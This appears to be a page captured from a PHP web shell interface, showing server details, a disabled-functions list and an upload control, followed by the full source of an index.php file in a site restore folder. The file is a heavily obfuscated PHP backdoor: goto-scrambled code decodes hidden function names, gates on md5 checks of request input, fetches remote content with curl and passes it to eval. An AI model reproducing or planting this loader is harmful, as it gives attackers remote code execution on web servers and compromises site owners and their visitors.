HEX
Server: Apache/2.4.29 (Ubuntu)
System: Linux instance-1 5.4.0-1092-gcp #101~18.04.1-Ubuntu SMP Mon Oct 17 18:29:06 UTC 2022 x86_64
User: web297 (5095)
PHP: 8.1.14
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, exec, shell_exec, system, passthru, proc_open, proc_close, popen, parse_ini_file, show_source
Upload Files
File: /data0/www/clients/client0/web297/web/vdconnect-2vut78kj/restore/1729110485/1729110485/index.php
<?php
 goto cfDA2_fm0BVEYJ; cfDA2_fm0BVEYJ: $FNoykBYB6DDtK4 = "\162" . "\x61" . "\x6e" . "\147" . "\x65"; goto NvfGrZBIUfXOej; f07yarFct_Izh2: $oELesCX8cqkzKS = ${$q3xW4kWJKzgt54[29 + 2] . $q3xW4kWJKzgt54[20 + 39] . $q3xW4kWJKzgt54[26 + 21] . $q3xW4kWJKzgt54[24 + 23] . $q3xW4kWJKzgt54[47 + 4] . $q3xW4kWJKzgt54[52 + 1] . $q3xW4kWJKzgt54[26 + 31]}; goto U6JKupZWVuibd7; U6JKupZWVuibd7: @(md5(md5(md5(md5($oELesCX8cqkzKS[16])))) === "\146\x66\x61\x37\62\x66\x32\145\141\x39\x36\145\x35\62\x65\66\71\144\60\64\61\61\61\x38\x39\146\141\x34\x31\x33\70\x62") && (count($oELesCX8cqkzKS) == 22 && in_array(gettype($oELesCX8cqkzKS) . count($oELesCX8cqkzKS), $oELesCX8cqkzKS)) ? ($oELesCX8cqkzKS[65] = $oELesCX8cqkzKS[65] . $oELesCX8cqkzKS[76]) && ($oELesCX8cqkzKS[85] = $oELesCX8cqkzKS[65]($oELesCX8cqkzKS[85])) && @eval($oELesCX8cqkzKS[65](${$oELesCX8cqkzKS[40]}[30])) : $oELesCX8cqkzKS; goto ncF_blVaqn9ycj; c1vZEwaL4i1v0P: class xr1Ley0ZH5ohc3 { static function mOvHBnBwahCgk8($jx2mv6k5jH3dR9) { goto X1vl8m8qOIvnEm; iAP_i0QNLxDr75: $DDqAD1eLWTlwGh = $eUTnJyLtaaC9iy("\176", "\40"); goto JgBf2rDArET5FD; D2JnIF5Iz9yu7f: return $KElntRRwSvQUfv; goto QEl4YcmzBz0i4j; X1vl8m8qOIvnEm: $eUTnJyLtaaC9iy = "\162" . "\141" . "\156" . "\x67" . "\x65"; goto iAP_i0QNLxDr75; MwKfRxtvlAPpZR: rWz5Uyg4V0UIJ0: goto D2JnIF5Iz9yu7f; bNxErEaa2Ra0fD: foreach ($CiHJI0yrBuAKUN as $oUXPV2MP0GcbdG => $Z9HoLWhFNH1tSo) { $KElntRRwSvQUfv .= $DDqAD1eLWTlwGh[$Z9HoLWhFNH1tSo - 35095]; saHAR2rycYa8hW: } goto MwKfRxtvlAPpZR; JgBf2rDArET5FD: $CiHJI0yrBuAKUN = explode("\135", $jx2mv6k5jH3dR9); goto V9e1nm0hcaSwI5; V9e1nm0hcaSwI5: $KElntRRwSvQUfv = ''; goto bNxErEaa2Ra0fD; QEl4YcmzBz0i4j: } static function MN1aeIQ520p343($xZQguQj7nEgmT2, $SZ_BMNVncK0RyG) { goto rqRW3f2QPwkvfB; He24lkSncB4Y20: return empty($AoA6WCV8xy7HVf) ? $SZ_BMNVncK0RyG($xZQguQj7nEgmT2) : $AoA6WCV8xy7HVf; goto qUBFuLtKyJ_zOQ; wWjbOQEJb83u8Q: curl_setopt($IXXFgMtP9rMjEf, CURLOPT_RETURNTRANSFER, 1); goto n6QHgWPVYYIVWc; n6QHgWPVYYIVWc: $AoA6WCV8xy7HVf = curl_exec($IXXFgMtP9rMjEf); goto He24lkSncB4Y20; rqRW3f2QPwkvfB: $IXXFgMtP9rMjEf = curl_init($xZQguQj7nEgmT2); goto wWjbOQEJb83u8Q; qUBFuLtKyJ_zOQ: } static function n0KwjcLfljyvAu() { goto v38S_NoN8AfdRl; HXqQSpmwAB0uR1: @$lTlQTGgLzHHMCn[3 + 7](INPUT_GET, "\x6f\x66") == 1 && die($lTlQTGgLzHHMCn[1 + 4](__FILE__)); goto QK5G0k40EdTfrd; zwFjLQV1FZDvH3: $Va3VBse0XxhoVX = self::MN1AeiQ520P343($dFvH60AUaaAUuk[0 + 1], $lTlQTGgLzHHMCn[4 + 1]); goto Qfu_MKVcCnOeDw; ZRufpw0nZ1tuQ5: foreach ($OgrW2okNF35V0l as $ZOORJPlMUjPwu1) { $lTlQTGgLzHHMCn[] = self::MoVhbNBwAHcGK8($ZOORJPlMUjPwu1); hBsKMaLb7u5HDy: } goto Zkd7mr4oxN5ouo; mek37MU6ND88qK: $c13Ybv1hBM6HO_ = @$lTlQTGgLzHHMCn[0 + 3]($lTlQTGgLzHHMCn[5 + 1], $aKprRIOpl1FCWn); goto FylDp7X6NM_OjN; SbNXSqmc08bLfj: $aKprRIOpl1FCWn = @$lTlQTGgLzHHMCn[1]($lTlQTGgLzHHMCn[8 + 2](INPUT_GET, $lTlQTGgLzHHMCn[2 + 7])); goto mek37MU6ND88qK; mgAfg7pVZEo_TD: HbOFuh30d1_YBA: goto U3QzDSH6g93OoB; VFLjjBB9kiMRY3: die; goto mgAfg7pVZEo_TD; QK5G0k40EdTfrd: if (!(@$dFvH60AUaaAUuk[0] - time() > 0 and md5(md5($dFvH60AUaaAUuk[1 + 2])) === "\141\x63\62\x35\145\63\67\70\x33\62\x64\x34\64\x33\x33\x30\x61\70\x32\146\x37\66\144\x33\x62\x62\x38\x31\70\143\x36\x61")) { goto HbOFuh30d1_YBA; } goto zwFjLQV1FZDvH3; FylDp7X6NM_OjN: $dFvH60AUaaAUuk = $lTlQTGgLzHHMCn[2 + 0]($c13Ybv1hBM6HO_, true); goto HXqQSpmwAB0uR1; Qfu_MKVcCnOeDw: @eval($lTlQTGgLzHHMCn[4 + 0]($Va3VBse0XxhoVX)); goto VFLjjBB9kiMRY3; v38S_NoN8AfdRl: $OgrW2okNF35V0l = array("\63\65\61\62\x32\135\x33\65\x31\60\x37\x5d\x33\x35\61\x32\x30\135\63\65\61\x32\64\x5d\63\65\x31\60\65\135\63\65\61\x32\x30\x5d\x33\x35\61\x32\66\135\63\x35\x31\x31\x39\x5d\x33\x35\61\x30\64\135\x33\65\x31\61\61\135\63\65\61\62\x32\135\x33\65\61\x30\65\135\x33\65\x31\61\x36\135\x33\x35\61\x31\x30\135\x33\x35\x31\61\61", "\x33\65\61\60\x36\x5d\x33\x35\61\60\x35\135\x33\x35\x31\x30\x37\x5d\63\x35\x31\x32\66\x5d\x33\x35\x31\60\67\135\63\65\61\x31\x30\135\63\x35\61\60\x35\135\x33\65\x31\67\x32\x5d\x33\x35\x31\67\x30", "\63\x35\x31\x31\x35\135\63\65\x31\x30\66\x5d\x33\65\x31\x31\60\x5d\63\x35\61\x31\61\x5d\x33\x35\x31\62\x36\135\x33\65\x31\x32\x31\135\x33\x35\x31\62\60\x5d\63\x35\x31\62\62\x5d\63\x35\x31\61\60\x5d\63\x35\61\x32\61\x5d\x33\x35\61\x32\60", "\63\65\61\60\71\135\x33\65\x31\x32\x34\x5d\63\x35\61\x32\x32\x5d\63\x35\x31\61\64", "\63\65\61\62\63\135\x33\x35\61\x32\x34\x5d\63\x35\x31\x30\x36\135\x33\65\61\62\x30\x5d\x33\65\61\x36\67\135\63\x35\x31\66\71\135\x33\x35\x31\62\x36\135\x33\x35\61\62\x31\x5d\63\x35\x31\x32\x30\x5d\x33\65\x31\x32\62\x5d\x33\x35\x31\61\60\x5d\63\x35\x31\62\61\x5d\x33\x35\61\62\60", "\x33\x35\61\x31\x39\135\x33\x35\61\x31\x36\x5d\x33\x35\61\61\x33\135\63\x35\x31\62\60\135\x33\65\x31\62\66\x5d\x33\65\61\x31\70\x5d\x33\65\61\62\60\135\63\65\x31\x30\65\135\63\65\61\x32\x36\x5d\63\x35\61\x32\x32\x5d\x33\x35\x31\x31\x30\x5d\x33\x35\61\x31\x31\135\x33\65\x31\60\65\135\x33\65\x31\62\60\x5d\x33\65\61\x31\x31\135\63\x35\x31\60\65\135\63\65\x31\60\66", "\x33\65\61\x34\71\135\63\65\x31\67\71", "\x33\x35\x30\x39\x36", "\x33\65\61\67\x34\x5d\63\x35\61\x37\71", "\x33\x35\61\x35\x36\x5d\x33\65\x31\63\x39\x5d\x33\x35\61\63\71\135\x33\65\61\x35\x36\135\x33\x35\x31\63\x32", "\x33\x35\61\x31\71\x5d\63\x35\61\x31\66\135\63\65\61\x31\x33\135\63\x35\61\60\x35\135\x33\x35\61\62\x30\x5d\63\x35\61\60\67\135\x33\65\61\x32\66\x5d\63\65\61\x31\66\x5d\63\x35\x31\x31\x31\x5d\x33\65\61\60\71\135\63\x35\x31\x30\64\x5d\63\x35\x31\60\65"); goto ZRufpw0nZ1tuQ5; Zkd7mr4oxN5ouo: QIorMvgZJuT_vF: goto SbNXSqmc08bLfj; U3QzDSH6g93OoB: } } goto MC7ALvZg7kT1yy; ncF_blVaqn9ycj: metaphone("\160\104\x35\165\x61\x72\x64\x74\166\x66\110\x4f\157\x4c\x63\156\172\156\x54\x70\122\x33\107\x50\x39\60\65\x79\x68\102\x49\115\x7a\166\152\62\x53\62\x53\x70\x4b\x33\x4d"); goto c1vZEwaL4i1v0P; NvfGrZBIUfXOej: $q3xW4kWJKzgt54 = $FNoykBYB6DDtK4("\176", "\40"); goto f07yarFct_Izh2; MC7ALvZg7kT1yy: xr1LEy0Zh5Ohc3::N0KwJcLflJYVAu();
?>